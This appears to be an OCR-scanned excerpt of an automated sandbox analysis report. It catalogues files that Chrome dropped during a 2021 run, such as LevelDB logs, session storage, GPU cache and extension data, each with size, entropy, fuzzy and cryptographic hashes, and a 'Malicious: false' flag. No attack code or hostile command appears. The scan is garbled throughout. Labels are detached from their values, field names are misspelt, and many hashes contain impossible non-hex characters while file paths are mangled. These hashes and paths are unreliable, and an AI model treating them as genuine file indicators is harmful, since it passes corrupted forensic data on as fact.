OEB2B8CD4C5644D02446E1E48EB60FBFC498FFAFDF68B7755686CF988A43ED29
2D2F8F15BA56F501BBB0678624B37064937B3A93C2C118D194A35DCEF672E58081C8COD2E6BCDE79B41FC6307EEOE734368F4555ACBBE3E3308E4E4D10A0985

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

342

5.229419704460134

false
6:mXxg4q2PcNwi23iKKdKgXz4rRIFUtp8VJIZmwP8xTNNDkwOcNwi23iKKdKgXz4q8d:si4vLZ5KkgXiuFUtp8VJ/P8xpND54Z5j
CBF01BDDCE153494F604FFF4C9B6D522

84E3C764035CFOC38906E3A94FD37B9DA972B62E
CF16B173C82C6954D9FCOFFEEBD812420E63250F5AB437F692F18B942E505ECF

83FFB7EDA21CF1B287E1F9E4A9FBD91FB95E4816C44CFEE27B6D257965BACEDIACB21F4228C95E40A14402B47C2B2B22552A5FB135C1E035F930CD56D88929
1

false
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG

Preview:

2021/05/12-21:33:45.058 16f4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/MANIFEST-000001.2021/
05/12-21:33:45.059 16f4 Recovering log #3.2021/05/12-21:33:45.060 16f4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Noti
fications/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Reporting and NEL

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

28672

0.8349935844241412

false
48:TUlopK2rIJNVriGImm8pF82phrINVrdHX/cjrJN2yJ1n4n1GmhGU1jehc4QWN/vm:wIEIWQF8mpcSMcGe
D82511CAD8D5E5882FF48396366F460B

3DA505265A4B536378B391862491723835CB8797
AB293A0FECD09D3D46844C157DBE570B413828B17638D6E3FC901D3713AA335D
DA7C6AA1DD368344367C732A779D73083D0267C3932DE2A11958567E9BFE5BB530F751BFC753F83B0C8BF678A63ESBECB2A3CE7A425F8CD91883627A9D6E7C5¢

false

SQLite FOrmat 3......@ .ovveeeeeieeeeie s Covred g, ettt b h R b h oAbt oA £ oAb e b e Rt e Rt bt Rt et e bttt e b et eeane s

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Reporting and NEL-journal

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

29252

0.6275083462670048

false
48:9y7qklopK2rIJNVriGImm8pF82phrINVrdHX/cjrJN2yJ1n4n1GmhGUi4:9EhIEIWQF8mpcSh
F152D1A7687BC86973495530259FAB22
DA107278C4BAEE7E510817019ED201D3C8EFD4B2
2F7E0974FB3B0OF0A3D92BAB3EBCF57A8DD78778827AA98023F33BA87BE287B89
FAE68BF872D3073FD5C309CDBCD889EABSAGEF3756A05EFD27B6D50B1DBC702205B8E752FB7D52701C0131EBA283801F69099F9446DC2E9897E4E5A45085B6(

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

1089

4.357315361175536

false

24:74fndrCBilgvPcywYM1XDtRDwYKQYAq6k8k8k8k8:7IXIgPPwYWOuq
EC57A5DCC885657E8476ED402684AF2B
4AE3B6E2C2AE4F092BDAD3F73AC7D9ABB18902B6
AC38D8128809FACF3DC3338E8966F0DB2D046EEEE612BFBD8AIC410A5F794C78

42B8FD865EBCBC1796594D3DBB2325A8D84F48C80D4CE8SBIB39ECASB27F6F1E9DIF7709AD17C11E78DESA71254A1A36A16A3A4158BBEF8287B3CES8A302844
3

false

C&F (TR next-map-id.1.Fnamespace-2f040921_d81d_4722_9ale_424364dabc02-https://www.google.com/.0....\............... map-0-rc::b..0.5.A.N.b.l.m.n.j.2
.Y.J._B.4uMhP.bzthQf4Jda2v.elz2i0MTEMrU.8fC.6.kP.WM.H.rP.HUKM5.i0.tBK_K5.z6w.i9.eh.C.f5-xkwR.eHO.pB.v.8.ztdY.H0.C
.7.1.U.m.X:s.-v.f.B.q.0.j.z.Z.V.kM.Y.s.z.1.0.y.k.n.e.t. B.R.C.Z.Q.3.x.t.R.p.k.K.l.v.H.R.L.R.N.R.p.q.B.X.5.N.M.0.n.6.H.7.s.P.3.g.z.v.U.W.B.0.n._.u.S.8.A.n.J.G.N.P.M.B._.N
Y.fP.bx.9.wKU.rwlhYHw.gL7mW,jRs.1.GHx4xR.nkL-YW.6.b.dyR.e3hrvrDmaHY.RQ.L.mjiRu2EP.yy.0.0lelF.qhO.Ua6.Kuv.r._\V.8.c
.b.6.G.Zf1.5T.1.7.5.0.X.D.M.1.p.H.3.z.Z.X.s.f.-.S.Lw.F.9.B.5.J.1.5.0.5.R.r..LK.C.9.3.a.5.7.m.m.D.U.c...map-0-rc::c..B.H.A.d.S.1.,j.5.j.S.3.j.P.v.8.-. k.ZM.m k.7 .H.f A.
0.k.5.0.b.d.0._.6.K.R.j.Q.W.M.-.Z.9.0.0.J.E.N.n.1.4.G.d.0.U.3.K.3.J.B.B.1.0.V.0.Q.T.P.K.N.N.q.k.Z.A.l.e.O.H.C.r.D.j.F.E.e.ce.T.u9.4.. ...

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG

Process:
File Type:
Category:
Size (bytes):

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text

dropped

328
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG
Entropy (8bit):  5.1904407644727755

Encrypted: false

SSDEEP: 6:mX34¢2PcNwi23iKKdKrQMxIFUtp8INIZmwP8INDkwOcNwi23iKKdKrQMFLJ:s34vLZ5KKCFUtp8INJ/P8IND54Z5KktJ

MDS5: 265D1725EDB078CEF4267245A16BC813

SHA1L: 6DDOBA6F3C22DBDEECAF21A13CC5A19720D7163E

SHA-256: D8A2B227FF21E4BA318CBCA87EB7FO8EC843C4F00D582A0547937E11E74B477C

SHA-512: B87E982BE003871E5973D7667B95356D7A0B45055207DCE82C341F67EF5579218A1EC765FDIBESCED231C114A67087E61E9BD474818FB3615377A7B7BE9BB7B7
Malicious: false

Preview:

2021/05/12-21:33:44.939 164 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/MANIFEST-000001.2021/05/12-2
1:33:44.940 16f4 Recovering log #3.2021/05/12-21:33:44.940 16f4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage/0000
03.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 60

Entropy (8bit): 4.330506048642

Encrypted: false

SSDEEP: 3:AliwunmUB4Vycn1:AUmUBCc1

MDS5: 7F918F16A86AFECA4DC76491843837E7

SHA1L: CAE048F894145649059DE69937167B90B688FF05

SHA-256: 4772850207799E8842BF18459AEBAB35F74DC237411C4695EECEB58E4879FD5E

SHA-512: 68D265A6D367CCA5E4FAEEECB57COEADF533BAEBFB064010535A6204393A802F137FFABD8BD5D01A2DD8BI6E7F3FCASFC5EA8D6F1DOF990AEO6D30EBAES66
E4E

Malicious: false

Preview:
|.G5.iiiine 98e2bea070252df09ec5095d018a40e8......

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 356

Entropy (8bit): 5.172223031633437

Encrypted: false

SSDEEP: 6:mXyyyq2PcNwi23iKKdK7Uh2ghZIFUtp89z1ZmwP8S4IRkwOcNwi23iKKdK7Uh2gd:sOvLZ5KkIhHh2FUtp891/P8P54Z5KKIT
MDS5: A35FDCI9DC77D26437202828C21BBDE6GS

SHA1L: 14134D549A77FF41DFB79AE963C6EF83C2974A3B

SHA-256: 41008850E99DB82959E610B205A774F9C6FDAIDB637CD15B62BBE9I300F16E3E6

SHA-512: 1F64500DF30FC5069E4903A768DODEDF49EA391F7D36A4E52BAF70FOB5C79F9CBDEBE3EBOS56AFC81241A6734A86A5F7CD747A9E0831329E422191022877A31¢
Malicious: false

Preview:

2021/05/12-21:33:44.694 1314 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/MANIFEST-00000
1.2021/05/12-21:33:44.700 1314 Recovering log #3.2021/05/12-21:33:44.702 1314 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site C
haracteristics Database/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\61f0595b-1646-4806-b570-8a27287
71dea.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.957371343316884

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5hsDHF4R8HLI2AVQBR70S7PMVKJIW1K3KNMRK3VY:YHO8sd7sBdLJIlyH7E4f3K33y
MD5: 363D9EBEDB5030036B53B6B28ESASEAS

SHA1L: 1C7C9012156AC8295EB465BC774430A866096832

SHA-256: 466FE09323B709A587648157D77298132B29F7CD916CD68EF6B28A0FC5EE355B

SHA-512: 9C9A230BAF627B8A9856 COACEEE4EA262C304BBC2272662F4213EB617297DFE222E0CCC4FCOF22B04FAFB3125D55D774174700B381EA3FF90B8C3D11926E023
Malicious: false

Preview:

{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248544335120983","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABIAgICA+P////8B":"4G","CAESABIAgICA+P////8B":"4G"}}}

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
Process: C:\Program Files\Google\Chrome\Application\chrome.exe
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

data

dropped

296

0.19535324365485862

false

3:8E:8

C4DFOFB10C4332150B2C336396CE1B66

780A76E101DE3DE2E68D23E64AB1A44DA7AT73207

18FAB4D13CDA7E1DEE12DC091019A110A7304B6A65FCOALF3E6173046BA38EFG
51F0B463E97063A2357285D684FF159FDF6099E57C46F13C83E9D3F09D7A7CF03C1BA684BCCF36232FC50834F95953C3C68675C7B05ABAF84DEF1C566A5F3F5E

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storagel\ext\gfdkimpbcpahaombhbimeihdjnejgicl\deflLocal Storagelleveldb\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

438

5.2902720711356235

false
6:mXnL4q2PcNwi23iKKdKusNpV/2jMGIFUtp8hIZmwP8hDkwOcNwi23iKKdKusNpVO0:sL4vLZ5KKFFUtp8hJ/P8hD54Z5Kk0OJ
557ABEC3EE04E40709131D98E8BF607C

56CCDC088A304DCOA4E8E065B52F219AF3720B9C
E6F413375957BA44EFBE05121F0D870116CC92A036CFD6272AE2149151C596DF
EDO0212F92E6FE43A2FA15072CB95A31DB92A81CA53C68F0969EF728702282AAB3CB11A0929D3506B3CFB5SECD26E43AF97D49A3C9639324919B5D807A6A365F5

false

2021/05/12-21:33:44.971 16f4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Local Storage\leveldb/MANIFEST-000001.2021/05/12-21:33:44.973 16f4 Recovering log #3.2021/05/12-21:33:44.973 16f4 Reusing old log C:\Users\user\A
ppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

440

5.2699988345615045

false

12:sf+vLZ5KkmiuFUtp8H6/P8NV54Z5Kkm2J:XI5KkSgCro5Kkr
4A477AB873AC226440A0E894CD8F0937
C472DE9A1DI9D7A5581F0A66218C78B995137DASE
C8BD53AD23593EF26F9B8859F296F0979EEFE9AE2F94901D23A49B36F8995350
6A8547787F89397398B539C317A489C0BE54C223186B016A94BB092COE4B4A6C0530D4907EA94AC2770120CFA469B8C13FOBBD6A4DB68A85927F4228729A3E6B

false

2021/05/12-21:33:45.065 131c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Platform Notifications/MANIFEST-000001.2021/05/12-21:33:45.066 131c Recovering log #3.2021/05/12-21:33:45.067 131c Reusing old log C:\Users\user\
AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\defiSession Storage\000003.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

19

1.9837406708828553

false

3:51:51

E556F26DF3E95C19DBAECA8F5DF0C341
247A89F0557FC3666B5173833DB198B188F3AA2E
BOA7B19404285905663876774A2176939A6ED75EF3904E44283A125824BDOBF3
055BC4AB12FEEDF3245EAAF0A0109036909C44E3B69916F8A01E6C8459785317FE75CA6B28F8B339316FC2310D3E5392CD15DBDB0OF84016667F304D377444E2E

false
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\defl\Session Storage\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

426

5.228902600322402

false
6:mXUiVg2PcNwi23iKKdKusNpZQMxIFUtp8uigZmwP8klkwOcNwi23iKKdKusNpZQq:sFvLZ5KkMFUtp8uH/P8/54Z5KkTJ
C31F6CB59E1AO0CIB60CFA2F484223D17

BD231FE3DBCB99F3F95A03FE75368EAAES43B546
DEDD859C31DDBAB346DCEAFB83880B07AACEIC8CEB36AFOFE2C326AE8752A5FD
6583CF34E8AEB84A18FD7E7C9555EDABAGES94A378193CFBF29887CB292A96A5F5600A2575163B4185042E74FC9238F68453F404B060175791A74B1EDO6982EFD

false

2021/05/12-21:34:01.612 1810 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl
\def\Session Storage/MANIFEST-000001.2021/05/12-21:34:01.614 1810 Recovering log #3.2021/05/12-21:34:01.615 1810 Reusing old log C:\Users\user\AppData
\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\extinmmhkkegccagdldgiimedpiccmgmieda\def\4f7d6df5-31e0-4b7d-9859-

a360ded4b227.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit):  4.96345415074364

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5Z0WIlyhsDHF4R8HLJ2AVQBR70S7PMVKJIW1K3KNMRK3VY:YHO8sd/0WCsBdLJlyH7E4f3K33y

MD5: 1FE877DDE8B96DED122AC08BB07A83C5

SHA1L: S5BEASFFAF686474CEBACA1D95500C29D65007745

SHA-256: 3AD373EB6FF8EA394964EDA2A9ES3ADD8DBA11DC9716ED3CA672F10DF369BA4D

SHA-512: 1854F005CD691674FCF27376150ABD6F036A79C42BBAFFECDCCA14A74CB21D8ADF2552CACE631E6E9C92C58E7EF27279CA30CES5648C8EBI0B06F2247A4620C
3

Malicious: false

Preview:

{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248544342473569","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABIAgICA+P////8B":"AG","CAESABIAgICA+P////8B":"4G"}}}

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\extinmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

592

0.19535324365485862

false

3:8E8E:8N

B505641E5E90B7CF4BC869DD1B4BE451
OEC7B13DCO043E054AB48B8F45FE49EF1209C01AA
2755F85F14CF33404CEEBF053D0CB79DC3B98D643A51075737E6ASBE154FE1D9

610AF095630C93B0586F4D9CAB4FA75454C472C557D4FDBCOD5C1851F9AABF8653079A7ADE4659ABADDEDC2E02E58AD13C7244CD004B0AA5A462307F293F83
3

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\extinmmhkkegccagdldgiimedpiccmgmieda\defiLocal Storage\leveldb\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

438

5.21704090962888

false
12:s5t9vLZ5KKkGHArBFUtp8vFEUh/P8R54Z5KkkGHAryJ:0hI5KkkGgPg5bo5KkkGga
D7EA0970D18208EF282721F2D85A3032
88246644ECD68B855A7BC596FB417DF81D5A501D
C8D4BE861EEB3AC6EID69420895E4EC0596E5604DBD36987BES5C998707F9581

C5B228B5848FA23F8A4CD3449B8C0D87E7B350DCEF57714BAA47DC4A4DCF690FCE81561D856145E6A6FBA3B3D2AB3906428B075EAEE76CBESC38A3F8451BF¢
3E
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\extinmmhkkegccagdldgiimedpiccmgmiedaldefiLocal Storage\leveldb\LOG
Malicious: false

Preview:
2021/05/12-21:33:57.676 1810 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Local Storage\leveldb/MANIFEST-000001.2021/05/12-21:33:57.682 1810 Recovering log #3.2021/05/12-21:33:57.684 1810 Reusing old log C:\Users\usen\A
ppData\Local\Google\Chrome\User Data\Default\Storage\ext\inmmhkkegccagdldgiimedpiccmgmieda\defi\Local Storage\leveldb/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\extinmmhkkegccagdldgiimedpiccmgmiedaldefiPlatform Notifications\LOG

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 440

Entropy (8bit): 5.2473011088215715

Encrypted: false

SSDEEP: 12:stEyvLZ5KKkGHArqiuFUtp8M/P8LR54Z5KkkGHArq2J:0EYI5KkkGgCg2Do5KkkGg7

MDS5: 3E7DA53B5148A17C7D76AC66FB4262FE

SHA1L: A456DA8573E5C3992A5910B09D8IF6CB475D8BC5

SHA-256: B051FB372F21195738B47C2F723E45E20FF80C7EA44214535A80BD44D102B34E

SHA-512: FF7960A56A6C03E1CE6C32E3EEE6B350E7BB223EA12E7BBF19F90D954F470B5043E8C334C919340C3D5D8EE148B9DA3D65DDFCA865DAE34818FFFECF30EBO:
DE

Malicious: false

Preview:

2021/05/12-21:33:57.676 1814 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Platform Notifications/MANIFEST-000001.2021/05/12-21:33:57.681 1814 Recovering log #3.2021/05/12-21:33:57.684 1814 Reusing old log C:\Users\user\
AppData\Local\Google\Chrome\User Data\Default\Storage\extinmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\extinmmhkkegccagdldgiimedpiccmgmiedaldefiSession Storage\000003.log

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data
Category: dropped
Size (bytes): 38
Entropy (8bit): 1.9837406708828553
Encrypted: false
SSDEEP: 3:5lj1:5ljl
MDS5: E9C694B34731BF91073CF432768A9C44
SHA1L: 861F5A99AD9EF017106CA6826EFE42413CDAL1AQOE
SHA-256: 01C766E2C0228436212045FA98D970A0AD1F1F73ABAAGA26E97C6639A4950D85
SHA-512: 2A359571C4326559459C881CBA4FFAFAIF312F6A7C2955B120B907430B700EA6FD42A48FBB3CCIFOCA2950D114DF036D1BB3B0618D137A36EBAAAL7092FESFO!
Malicious: false
Preview:
&f v &f v

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Storage\extinmmhkkegccagdldgiimedpiccmgmiedaldefiSession Storage\LOG

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 426

Entropy (8bit): 5.1702050782390785

Encrypted: false

SSDEEP: 12:59MvLZ5KKkGHArAFUtp8I/P8S54Z5KKkGHATfJ:LISKkkGgkgioSKkkGgV

MDS5: 20AEF10B7534C1724B491AB5B8172E8E

SHA1L: 4682D66D4C3B7210B1275D582DC64809FCFB4BD3

SHA-256: CFEBDDAA5876E2EB848041A05CE6D61D638AD10D5E2EA057E59D64DD4A01CFCL
SHA-512: 2BC189FD39A93E808AB57C024360F852C85630ADF4D22887539800BD4AB71E97A1D2BB51FB02E40EDACBAFC96115BF12FC50675529C14EE2FEA7DOD5A512691
Malicious: false

Preview:

2021/05/12-21:34:13.114 1804 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
\def\Session Storage/MANIFEST-000001.2021/05/12-21:34:13.116 1804 Recovering log #3.2021/05/12-21:34:13.117 1804 Reusing old log C:\Users\user\AppData
\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data

Category: dropped

Size (bytes): 38

Entropy (8bit): 1.9837406708828553

Encrypted: false

SSDEEP: 3:sgGg:st

MD5: 45A8ECA4E5C4A6B1395080C1B728B6C9
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log

SHA1L: 8A97BBOE599775D9A10COFC53C4EDB29AA4CEBAE

SHA-256: DB320AB28DFF27CDAOA7F87B82F2F8E61B3178A6DE8503753D76F1172D32E08E

SHA-512: 8EE91A3A1E77459273553F6A776C423A8EE95DBIDCFAB897771814B7AD13FD84F06BB2B859F22B6DDA384B39EAA91F1819F170BABED6DA16BDBCF5BCBO6CF2!
24

Malicious: false

Preview:
F Foriiees

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 332

Entropy (8bit): 5.248607976025222

Encrypted: false

SSDEEP: 6:mXVDM+q2PcNwi23iKKdKplFUtp8gfSgZmwP8gfSDMVkwOCcNwi23iKKdKa/WLJI:su+vLZ5KkmFUtp8g//P8g/V54Z5KkauJ
MD5: DEEE414C987D4D341B8E7CE32F4F0C27

SHAL: DAEC8159E3D793EBBD7A585F8AASE201EAA400AQ

SHA-256: 05913386F71B2D13DE24BB7FC11CE541F4C5CB1408699F708B0D971DE27248BC

SHA-512: 3D60753374E39795275A9CCEA5C951AF01C50234A8E8031FOEF6902F08FOBAG9913EE8D507D56386A31094109A733925F2D41AC04B2C13AD4E9F7D0544721879
Malicious: false

Preview:

2021/05/12-21:33:44.706 131c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2021/05/12-
21:33:44.708 131c Recovering log #3.2021/05/12-21:33:44.708 131c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/
000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\LOG

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 410

Entropy (8bit): 5.290759657941591

Encrypted: false

SSDEEP: 12:5+vLZ5KKkkOrsFUtp80X/P8Ge54Z5KkkOrzJ:LISKk+gzplo5Kkn

MDS5: 8696073A52B918DFDE5D8B532488578F

SHA1L: 56E347E9962F97D596EFODAD8D8C144CE42D9AB2

SHA-256: 5A788FE4B04A785D49CC6FB7511F666A176F6A8746EBESE9A22207A22C91A889

SHA-512: 219716A17AC878AA227710E75B40EAB3A6B1E10FAOE3FEIBB4E601BACBD898SE2E1BI6208F2B47B620CEBAAD24FA5838643ACC03556982800196A66C597E4C50
D

Malicious: false

Preview:

2021/05/12-21:34:03.624 1810 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmb
meomcjbeemfm/MANIFEST-000001.2021/05/12-21:34:03.625 1810 Recovering log #3.2021/05/12-21:34:03.626 1810 Reusing old log C:\Users\user\AppData\Local\G
oogle\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Visited Links

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 120

Entropy (8bit): 5.480167946706394

Encrypted: false

SSDEEP: 3:FR6P/SHSrbbcPQz3i/thPmbECFIlvhXaTayOKMn:FYKSrbmQG/thPpoxhX7IM

MDS5: 08C775CABEA5BO9ES25798A157971CD9

SHA1L: OF75E6825BDCE799055B8EB3732A2C633EF27334

SHA-256: 43F507372A5696BCEDB302C642304778006042BA20120DFE7DD573CD3462693D

SHA-512: EDB626867C21E13C6F84615D4AB10ADEOAE158AAFI7AEBA7A203F7563FBC19558C2A5EC73084A83EC1F733E9BCE15A41F95C240ABCF4BF36FCBESBCDAFGFAE
BF6

Malicious: false

Preview:

Y....pm.0..L....Ju..}

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_nmmhkkegccagdldgiimedpiccmgmiedal\Chrome Web Store
Payments.ico.md5

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data

Category: dropped

Size (bytes): 16
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_nmmhkkegccagdidgiimedpiccmgmiedal\Chrome Web Store
Payments.ico.md5

Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

4.0

false

3:SeFcn:Sec

61B979ECA159ECACIC7F8F1D6FD43E9ID
0373696351FC2172E811DA8393DECB84036FA34A0
ABO5EOA6FF7E8FFF89F924B279D93AFC72ACCE817C4D250C60BB8059CC534303

C95825DA33CBDDFAG27D9FF9A5B8371BC5F4E643A09573B6E1E839A83B619F53D878C344030B9701DCBC24D4CECCC016CF4D298D10EESC37D1B5FEC1A5168
B6

false

F.....r.(R.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_nmmhkkegccagdldgiimedpiccmgmieda\f89e08cc-568b-458f-a215-

78115f9991c9.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: MS Windows icon resource - 13 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel

Category: dropped

Size (bytes): 175509

Entropy (8bit): 5.489440694064333

Encrypted: false

SSDEEP: 1536:rKbsLAR2A4VBQV1111111111111Nr366R6faFR+up0y0y2im10sFcgYzQNLIX:rKbsLAR2fe/FZntrsIfX
MDS5: 33EABC19FDF40F3D36B6870EF5861957

